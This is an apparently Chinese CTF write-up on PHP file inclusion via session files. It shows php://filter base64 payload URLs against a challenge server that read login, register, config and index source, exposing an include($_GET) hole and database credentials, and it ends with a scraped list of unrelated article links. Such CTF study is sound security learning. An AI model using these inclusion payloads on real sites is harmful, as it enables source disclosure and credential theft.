php文件包含读源码,CTF PHP文件包含--session
PHP文件包含 Session
首先了解一下PHP文件包含漏洞----包含session
利用条件:session文件路径已知,且其中内容部分可控。
姿势:
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
题目:
http://54.222.188.152:22589/
解题思路:
php伪协议读取源码
点击login,发现链接变为:
http://54.222.188.152:22589/index.php
?action=login.php
首先读取 login.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=login.php
得到login.php源码:
require_once('config.php');
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
} else {
die("Invalid user name or password");
}
$stmt->close();
$mysqli->close();
}
else {
?>
Login
Login
Username:
Password:
LOGIN
}
?>
读取 register.php 的源码
访问:
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=register.php
得到源码:
if ($_POST['username'] && $_POST['password']) {
require_once('config.php');
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows();
if($count) {
die('User name Already Exists');
} else {
$sql = "insert into user(username, password) values(?,?)";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
echo 'Register OK!Please Login';
}
$stmt->close();
$mysqli->close();
} else {
?>
Login
Register
Username:
Password:
REGISTER
}
?>
读取 config.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=config.php
得到源码:
$dbhost = 'localhost';
$dbuser = 'web';
$dbpass = 'webpass123';
$dbname = 'web';
?>
读取 index.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=index.php
源码:
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
include $_GET['action'];
exit();
} else {
?>
Login
<?php echo "
Logout";}else{ ?>
<?php echo "
Login
Register";
} ?>
php文件包含读源码,CTF PHP文件包含--session相关推荐
- PDF文件JAVA去水印源码,给pdf文件添加防伪水印logo(附工程源码下载)
pdf添加水印logo这种需求场景确实很少,有些时候一些销售单据生成pdf添加一个水印logo,做一个简单的防伪效果,虽然实际上并没有太大作用,但是产品经理说要,巴拉巴拉--省略一万字. 下面将源码分 ...
- MyBatis 源码分析 - 映射文件解析过程
1.简介 在上一篇文章中,我详细分析了 MyBatis 配置文件的解析过程.由于上一篇文章的篇幅比较大,加之映射文件解析过程也比较复杂的原因.所以我将映射文件解析过程的分析内容从上一篇文章中抽取出来, ...
- myisam怎么读_耗时半年,我成功“逆袭”,拿下美团offer(刷面试题+读源码+项目准备)...
欢迎关注专栏[以架构赢天下]--每天持续分享Java相关知识点 以架构赢天下zhuanlan.zhihu.com 以架构赢天下--持续分享Java相关知识点 每篇文章首发此专栏 欢迎各路Java程序 ...
- 微信读书vscode插件_跟我一起读源码 – 如何阅读开源代码
阅读是最好的老师 在学习和提升编程技术的时候,通过阅读高质量的源码,来学习专家写的高质量的代码,是一种非常有效的提升自我的方式.程序员群体是一群乐于分享的群体,因此在互联网上有大量的高质量开源项目,阅 ...
- linux内核源码只有makefile文件没有c文件,linux内核代码的编写初步以及makefile的配置...
在linux内核代码开发中,头文件不能包含标准C头文件,只能采用GNC标准 而且内核开发中没有main函数,只有init 和 exit ,这是每个内核模块中必须要包含的函数模块. 在GNU C标准中, ...
- 后台管理系统怎么实现操作日志原理_springboot角色权限后台管理系统脚手架实战开发教程包含完整源码...
自从猿来入此发布实战开发教程以来,我们截至目前一共发布了22个Java实战项目开发教程,从最基础的Java控制台实战项目到数据库封装教程再到swing的单机项目教程.servlet的web实战教程.s ...
- 【Android 高性能音频】Oboe 开发流程 ( 导入 Oboe 库 | 使用预构建的二进制库和头文件 | 编译 Oboe 源码 )
文章目录 一.导入 Oboe 库 二.使用预构建的二进制库和头文件 三.编译 Oboe 源代码 Oboe GitHub 主页 : GitHub/Oboe ① 简单使用 : Getting Starte ...
- SpringBoot文件上传源码解析
一.SpringMVC文件上传源码分析前言(这部分我觉得原作者写的很好) 该如何研究SpringMVC的文件上传的源码呢? 研究源码并不是仅仅知道程序是怎样运行的,而应该从宏观的角度.不同的立场去看待 ...
- 读源码,对程序员重要吗?
来源: CSDN(ID:CSDNnews) 嘿,朋友们!本文我将分享一些关于主动阅读和研究源码的一些想法.在我看来,阅读源码能够帮你成为一名更专业的开发人员.毫无疑问的是,阅读源码提高了我的软件开发水 ...
最新文章
- ArrayList Iterator remove java.lang.UnsupportedOperationException
- TC260-001《汽车采集数据处理安全指南》
- 构造 HDOJ 5400 Arithmetic Sequence
- vnc连接linux使用教程_vnc的使用方法,vnc的使用方法,教程详解
- 服务器修改虚拟机地址,服务器修改虚拟机地址
- PHP(Thinkphp框架)将数据表导出csv文件
- 同时渲染两个世界:恐怖游戏《灵媒》背后的尖端技术
- 11选5下期算法_双色球 133期预测 132中奖5+1
- python菜单栏_Python(Tkinter)创建的菜单不会显示
- 音视频开发(41)---ROKID桌面机器人麦克风阵列拆解分析及设计建议
- 最便宜的骁龙888旗舰机!realme真我GT正式发布:2799元起售
- Javascript获取日期和星期
- ArcGIS 10.5 及 ArcGIS Server下载安装破解环境配置
- SSH——Hibernate简单配置
- GoEasy小程序即时通讯源码 v1.1.0/基于GoEasy提供的websocket通讯服务
- 数据销毁、硬盘销毁的方法及安全性分析
- Python 实现英文新闻摘要自动提取(1)
- SAP生产订单删除步骤
- 用python批量修改图片名称!超级简单
- Variant 数据类型介绍
热门文章
- java实验报告之Employee类的设计
- 在uniapp使用微信插件获取不到回调数据问题解决
- 二、Apollo高精地图详解(2. 高精地图的采集、生产与格式规范)
- mysql 8.0双主_MySQL —— 配置多主一从 ( 8.0.18 版本 )
- 用python爬取实时基金估值
- C++实现人员工资管理系统
- HINSTANCE+hPreInstance
- Windows 中 TCP 端口 139 和 445 的使用
- week after week----友情岁月,匆匆
- python全栈指的是什么_python全栈指的是什么意思